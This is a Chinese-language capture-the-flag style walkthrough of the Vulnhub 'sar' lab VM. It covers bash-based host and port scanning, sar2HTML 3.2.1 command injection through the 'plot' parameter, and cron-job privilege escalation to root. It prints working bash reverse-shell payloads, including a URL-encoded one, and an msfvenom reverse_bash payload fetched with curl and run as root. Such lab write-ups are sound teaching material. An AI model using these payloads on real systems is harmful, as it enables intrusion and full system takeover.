甄选靶机精讲系列(二)——sar:史上最简洁朴素的攻击链

vulnhub:sar官方下载

难度:⭐

前言

本系列第2台靶机:sar,包含sar2HTML框架,采用截然不同的反弹shell方式,一并温习计划任务提权的相关操作。

阅读此篇,你将学会在无nmap环境下的网络扫描手段,如何通过内置shell命令完成端口扫描,以及基于sar2HTML框架的公开漏洞利用。

侦察

bash脚本化端口扫描

在某些特殊环境下,nmap可能显得并不那么适用,这时我们就需要用到其他工具和方法。如果你在初学阶段仍然热爱钻研技术,并且乐此不疲,那么我会推荐使用shell的内置命令完成主机发现和端口扫描的过程。

首先创建一个sh文件,以host_scan.sh为例,添加我们的脚本内容

bash 复制代码
#!/bin/bash  
  
subnet="10.10.10"  
  
for i in {1..254}; do  
    host="${subnet}.${i}"  
    ping -c 1 "$host" &> /dev/null  
  
    if [ $? -eq 0 ]; then  
        echo "$host is active"  
    fi  
done

使用sudo chmod +x host_scan.sh为其添加可执行权限,然后使用./host_scan.sh执行,使用相对路径执行当前文件时需要加上./,论其原因,一是安全性,二是为了防止与PATH中的路径冲突而指明为当前路径。

参考执行结果:

shell 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ ./host_scan.sh 
10.10.10.1 is active
10.10.10.2 is active
10.10.10.128 is active
10.10.10.143 is active

10.10.10.1是物理机的私网IP;10.10.10.2是网关地址;10.10.10.128是本机IP;10.10.10.143即为我们的靶机IP地址。

端口扫描同样也可以使用bash脚本,但由于kali不支持/dev/tcp检测,我们可以使用nc来建立与靶机开放端口的连接

bash 复制代码
#!/bin/bash  
  
HOST='10.10.10.143'  
START_PORT=1  
END_PORT=65535
  
for PORT in $(seq $START_PORT $END_PORT); do    
    output=$(timeout 1 nc -v $HOST $PORT < /dev/null 2>&1)  
    if echo "$output" | grep -q "succeeded" || echo "$output" | grep -q "open"; then  
        echo "Port $PORT is open"  
    fi  
done

对于编写bash脚本完成端口扫描的方式,各位了解即可,因为其本身的局限性太大,不仅容易收到waf阻拦,而且扫描速率极慢,但其也不失为另一种思路和极端环境下的解决方案。

参考结果:

shell 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ ./port_scan.sh
Port 80 is open

基于80端口的信息收集

在浏览器中访问靶机IP,只有apache安装成功的默认页,这个细节透露出网站的创建时间以及安全程度,要知道,得到的信息量越小,单个信息的含金量也就越大,其与困难靶机的差异之一就在于此。

使用gobuster挖掘网站目录结构

bash 复制代码
sudo gobuster dir -u http://10.10.10.143 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q 

在使用gobuster进行目录爆破时,推荐带上-x选项,虽然工作量会增大,但基于关键词的枚举方式会使结果更加全面;-q指定静默输出模式,即没有任何提示信息。

参考结果:

gobuster 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ sudo gobuster dir -u http://10.10.10.143 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q                             
[sudo] rainbowpigger 的密码:
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 10918]
/.html                (Status: 403) [Size: 277]
/robots.txt           (Status: 200) [Size: 9]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/phpinfo.php          (Status: 200) [Size: 95389]
/server-status        (Status: 403) [Size: 277]

只要在结果中列出的文件都是存在的,但状态码为403说明我们没有权限访问,目前可以访问的页面是index.html,应该就是apache的默认页;robots.txt内包含了敏感目录,是有关键信息存在的;phpinfo.php用处不大,在基于一些特定的诸如php环境下的绕过等情况时可能会用到。

首先访问最令我们感兴趣的robots.txt文件,页面只有8个字符:sar2HTML。如果你了解robots.txt,知道它的作用,那就能知道"sar2HTML"这个信息该如何用

robots.txt用于指导网络爬虫如何抓取和索引网站的内容,它可以指定某些目录或文件不应被抓取,或者设置抓取频率限制,以避免对网站性能产生负面影响。

因此,"sar2HTML"应该是一个目录或者文件名,浏览器访问http://10.10.10.143/sar2HTML

可以观察到,页面十分简陋,基本没有什么UI可言。对于web首页而言,我们需要查看3个地方,一个是源码,特别是powered by X的架构信息;一个是URL栏,有没有明显的参数设置,某些情况甚至需要使用wfuzz模糊测试才能发现一些参数上的漏洞;还有一个就是站点名称,可能泄露框架和版本信息。当然,sar靶机定位easy,框架版本已经在左上角进行了加粗展示:sar2HTML Ver 3.2.1

对于特定版本的系统,一定存在漏洞,只是漏洞利用的前提条件不同,或者是时候未到还没被发现,但一定是有破绽的。我们可以通过searchsploit来检索截至目前已收录的所有PoC中是否存在符合要求的利用说明

bash 复制代码
searchsploit sar2html 3.2.1

关键词不区分大小写,对词组顺序不敏感,可以搜索到匹配度70%以上的内容

searchsploit的搜索基于Exploit-DB数据库的内容,在每次使用该命令前,可以使用searchsploit --update更新本地漏洞库以随时保持与exploitdb的数据同步

搜索结果:

searchsploit 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ searchsploit sar2html 3.2.1
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
sar2html 3.2.1 - 'plot' Remote Code Execution    | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution        | php/webapps/47204.txt
------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

.py文件会涉及到脚本执行的操作,如果嫌麻烦可以先看看.txt文件,匹配度差不多

bash 复制代码
searchsploit -m 47204

-m指利用脚本名称进行搜索,47204作为唯一标识符表示该PoC在Exploit-DB数据库中的编号,与CVE无关

当出现以下信息即表示下载成功

searchsploit 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ searchsploit -m 47204      
  Exploit: Sar2HTML 3.2.1 - Remote Command Execution
      URL: https://www.exploit-db.com/exploits/47204
     Path: /usr/share/exploitdb/exploits/php/webapps/47204.txt
    Codes: N/A
 Verified: False
File Type: ASCII text
Copied to: /home/rainbowpigger/sar/47204.txt

此时47204.txt文件就应该已经保存在当前目录下,查看其内容

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ cat 47204.txt             
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7

In web application you will see index.php?plot url extension.

http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen.

payload在第13行,依葫芦画瓢,在URL栏中输入:http://10.10.10.143/sar2HTML/index.php?plot=;whoami,根据PoC的描述,此时我们可以在 select host 的下拉框中看到代码执行的结果

在上一台靶机精讲中我们已提到过,对于任何能和后端乃至于终端产生直接交互的地方都值得我们研究,特别是验证能否构造反弹shell,获得系统初始权限的地方十分具有必要性。对于此处的RCE漏洞,我们先写入bash的反弹语句看看能否成功。

在URL栏中进行操作

url 复制代码
http://10.10.10.143/sar2HTML/index.php?plot=;/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1000 0>&1'

回车前先确保kali中已启动nc监听

bash 复制代码
nc -lvp 1000

-l表示"监听"模式,当使用此选项时,nc将不会尝试连接到远程主机,而是会在指定的端口上等待传入连接;-vverbose mode,在连接、断开及数据传输时显示详细信息;-p指定端口,需处在最后一个选项后面直接加端口号。

web端执行后kali中没有反应,由于基于http协议传输的内容会经过url编码,系统后端还有可能进行字符过滤,因此我们的payload可能在传输过程中某些字符不符合格式要求被过滤了。

先试试url编码,如果不行再换成base64或者其他的

url 复制代码
http://10.10.10.143/sar2HTML/index.php?plot=;%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.128%2F1000%200%3E%261'

&在GET方式传输中不会进行自动编码,它是一个保留字符,用于分隔 URL 中的不同参数,因此我们在传输reverse shell时,需要保证&能被正确编码。

常见的URL编码转换器

kali中出现以下响应即表示反弹成功

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 59964
bash: cannot set terminal process group (831): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$ 

枚举

在文章开头已经提到过,这台靶机和上一台有异曲同工之妙(点击此处查看上一篇文章),在从细节入手查看具体提权路径之前,我们先检查系统及当前用户的基本信息。

首先是当前用户的基本信息,使用whoami查看当前用户名;使用id查看uid、gid及所属用户组,id在1000以下的均为系统功能性账号,权限极低,所属用户组如果有多个,理论上对文件的操作将具有更多权限

bash 复制代码
www-data@sar:/var/www/html/sar2HTML$ whoami
whoami
www-data
www-data@sar:/var/www/html/sar2HTML$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

其次是检查系统状态,使用cat /proc/version或者uname -a查看内核版本(推荐前者,更加详细);使用ip addr查看网卡信息(即网络接口)

bash 复制代码
www-data@sar:/var/www/html/sar2HTML$ cat /proc/version
cat /proc/version
Linux version 5.0.0-23-generic (buildd@lgw01-amd64-030) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019
www-data@sar:/var/www/html/sar2HTML$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:a5:a4:dc brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.143/24 brd 10.10.10.255 scope global dynamic noprefixroute ens33
       valid_lft 1759sec preferred_lft 1759sec
    inet6 fe80::4083:ad17:dcb2:8f0b/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

网卡信息中,lo为本地回环接口,总是处于活跃状态,不需要任何外部连接,通常用于本地的网络测试;ens33为以太网接口,用于连接到局域网,由于靶机是基于vmware Pro配置,可以在网络适配器中进行调试。

使用sudo -l查看当前用户有哪些root权限,如果提示tty不支持,说明shell交互性过低,可采用python3 -c 'import pty;pty.spawn("/bin/bash")'升级终端。由于是反弹shell得到的账户,没有密码,只能找其他方法谋求突破。

然后查看系统内的其他用户,使用cat /etc/passwd | grep home | grep bash以查看在home目录下分配有个人文件夹的用户

bash 复制代码
www-data@sar:/var/www/html/sar2HTML$ cat /etc/passwd | grep home | grep bash
cat /etc/passwd | grep home | grep bash
love:x:1000:1000:love,,,:/home/love:/bin/bash

需要注意的是,个人用户数量庞大时会存在信息泄露的现象。另外,由于我们是通过反弹shell的方式进入系统的,权限较低,如果有方式能切换到个人用户,那就离提升至root更近了一步。

查看系统有无计划任务

bash 复制代码
cat /etc/crontab

一般情况下/etc/crontab是可读的,如果不可读,那就说明存在一些高规格的定时任务,还可以通过/etc/下以cron.开头的所有文件检查是否具有查看权限,在/var/spool/cron/下也有概率出现定时任务列表,如果都不可查看,还可以尝试是否能读到cronlog等日志文件。

本台机器定时任务可读,内容如下:

bash 复制代码
www-data@sar:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

第18行的定时任务语句表示每5分钟以root权限执行cd /var/www/html/ && sudo ./finally.sh语句,这句话的意思是,进入/var/www/html/目录,如果成功进入就使用sudo执行finally.sh文件。

查看一下finally.sh文件

bash 复制代码
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh

./write.sh

内容为执行当前目录下的write.sh文件,查看其内容

bash 复制代码
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
#!/bin/sh

touch /tmp/gateway

虽然finally.sh不可写,但write.sh是有可写权限的,并且是由finally.sh的执行权限继承的,即root身份执行write.sh。因此,如果我们能在其中加上sh的反弹语句,就能得到write.sh的执行者------root的所有权限。

在上一台靶机中我们采用了echo 'bash -i >& /dev/tcp/10.10.10.128/999 0>&1' >> [FILE]的方式,此处我们采用文件读取的形式反弹shell,虽然本质是相同的,但也提供了一种不一样的操作方式。

使用msfvenom生成sh木马文件

bash 复制代码
msfvenom -p cmd/unix/reverse_bash lhost=10.10.10.128 lport=999 -f raw > shell.sh

-p指定payload,可通过msfvenom -l p查看所有可用payload;lhostlport指定本地IP和监听端口;-f指定输出格式,可通过msfvenom -l f查看所有支持的format;这里我们将payload以原格式输出到shell.sh中。

参考payload:

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ cat shell.sh 
bash -c '0<&22-;exec 22<>/dev/tcp/10.10.10.128/999;sh <&22 >&22 2>&22'

要将shell.sh传输到靶机中就需要一个web服务器,上台靶机精讲中介绍了使用php架设web服务器的流程,这一次我们来点儿不一样的:利用python的http.server模块实现服务器的文件传输功能

bash 复制代码
sudo python3 -m http.server 80

-m即启用http.server模块,其能运行一个简单的http服务器

靶机中接收文件:

bash 复制代码
www-data@sar:/var/www/html$ curl -O http://10.10.10.128/shell.sh
curl -O http://10.10.10.128/shell.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    70  100    70    0     0   4666      0 --:--:-- --:--:-- --:--:--  5000

-O将远程文件以原始文件名下载至当前目录下;如果想将其改名为a.sh并放在tmp目录下,可使用-o选项:curl -o /tmp/a.sh http://10.10.10.128/shell.sha.sh文件需要提前创建)。传输成功后一定要使用chmod +x shell.sh赋予其可执行的权限,否则等到天荒地老都不会收到rootshell。

确保kali中已启用nc -lvp 999后,等待最多5分钟,当出现以下响应时即表示已经获得root权限

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.143: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 54202 

由于当前shell不完善,因此没有命令提示符显示,采用python3 -c 'import pty;pty.spawn("/bin/bash")'提高终端交互性后,就可以完整的看到提示符内容

bash 复制代码
┌──(rainbowpigger㉿kali)-[~/sar]
└─$ nc -lvp 999
listening on [any] 999 ...
10.10.10.143: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.143] 54202
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@sar:/var/www/html# 

结语

本期打靶细节主要体现在对shell脚本的处理上,再做一些逻辑调试可以在一定程度上提高扫描效率;另外在提权过程中,对于权限体系的理解,以及对可能的字符冲突和程序运行流程进行合理的猜测并付之实践,也同样不乏一些细节上的考量。

如果各位读者有任何与本台靶机相关的疑问或者有更好的见解,欢迎随时在评论区留言,我将竭诚回复!

上一篇:甄选靶机精讲系列(一)------Jarbas:你对Jenkins了解多少?

相关推荐
网络研究院9 小时前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
l1x1n015 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
醉颜凉16 小时前
银河麒麟桌面操作系统V10 SP1:取消安装应用的安全授权认证
运维·安全·操作系统·国产化·麒麟·kylin os·安全授权认证
小小工匠20 小时前
Web安全 - 路径穿越(Path Traversal)
安全·web安全·路径穿越
不灭锦鲤1 天前
ssrf学习(ctfhub靶场)
网络·学习·安全
网络研究院1 天前
如何安全地大规模部署 GenAI 应用程序
网络·人工智能·安全·ai·部署·观点
DonciSacer1 天前
TryHackMe 第6天 | Web Fundamentals (一)
安全
云卓科技1 天前
无人机之数据提取篇
科技·安全·机器人·无人机·制造
山兔11 天前
工控安全防护机制与技术
安全
HEX9CF1 天前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss